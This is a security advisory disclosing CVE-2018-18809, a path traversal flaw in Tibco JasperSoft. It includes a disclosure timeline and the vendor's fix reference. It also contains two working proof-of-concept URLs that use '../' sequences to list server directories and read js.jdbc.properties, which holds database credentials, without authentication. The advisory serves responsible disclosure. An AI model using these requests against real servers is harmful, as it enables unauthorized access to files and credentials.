Tibco JasperSoft Path Traversal

2019.09.10
Credit: Elar Lang
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-22


CVSS Base Score: 4/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

Title: CVE-2018-18809 Path traversal in Tibco JasperSoft Credit: Elar Lang / https://security.elarlang.eu Vendor/Product: Tibco JasperSoft (https://www.jaspersoft.com/) Vulnerability: Path traversal CVE: CVE-2018-18809 # Path traversal Vulnerability is in reportresource/reportresource/ service and in resource parameter. There is "defence" - value for resource param must start with net/sf/jasperreports/. Available for remote not authenticated users. ## Proof-of-Concept Reading file listing: https://domain/jasperserver-pro/reportresource/reportresource/?resource=net/sf/jasperreports/../../../../ Reading file content (js.jdbc.properties as an example): https://domain/jasperserver-pro/reportresource/reportresource/?resource=net/sf/jasperreports/../../../../js.jdbc.properties # List of Systems Affected, Related fixes and releases: "TIBCO Security Advisory: March 6, 2019 - TIBCO JasperReports Library - 2018-18809" https://www.tibco.com/support/advisories/2019/03/tibco-security-advisory-march-6-2019-tibco-jasperreports-library-2018-18809 # Vulnerability Disclosure Timeline 2018-10-15 | me > Tibco | Notification to security@tibco.com 2018-10-15 | Tibco > me | Thanks for PoC 2018-10-29 | me > Tibco | How is going? No fixes even for their own site. 2018-10-15 | Tibco > me | Explanation of policy that they threat everyone equally and as no fix available for their customer, they can not fix their own site also. 2019-01-11 | Tibco > me | Issue is still under investigation. Issue discovery credits and publishing details coordination for future. 2019-01-11 | me > Tibco | Response, agreement with credits. 2019-03-06 | Tibco > me | "We published security advisories" 2019-03-06 | Tibco | "TIBCO Security Advisory: March 6, 2019 - TIBCO JasperReports Library - 2018-18809" 2019-04-21 | me > Tibco | I'm going to write Full Disclosure, but your own demo site is still vulnerable. .. 2019-04-26 | Tibco > me | Demo site fixed/updated now. 2019-09-07 | me | Full Disclosure on https://security.elarlang.eu # More detailed description is available in blog: https://security.elarlang.eu/cve-2018-18809-path-traversal-in-tibco-jaspersoft.html -- Elar Lang Blog @ https://security.elarlang.eu Pentester, lecturer @ http://www.clarifiedsecurity.com


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top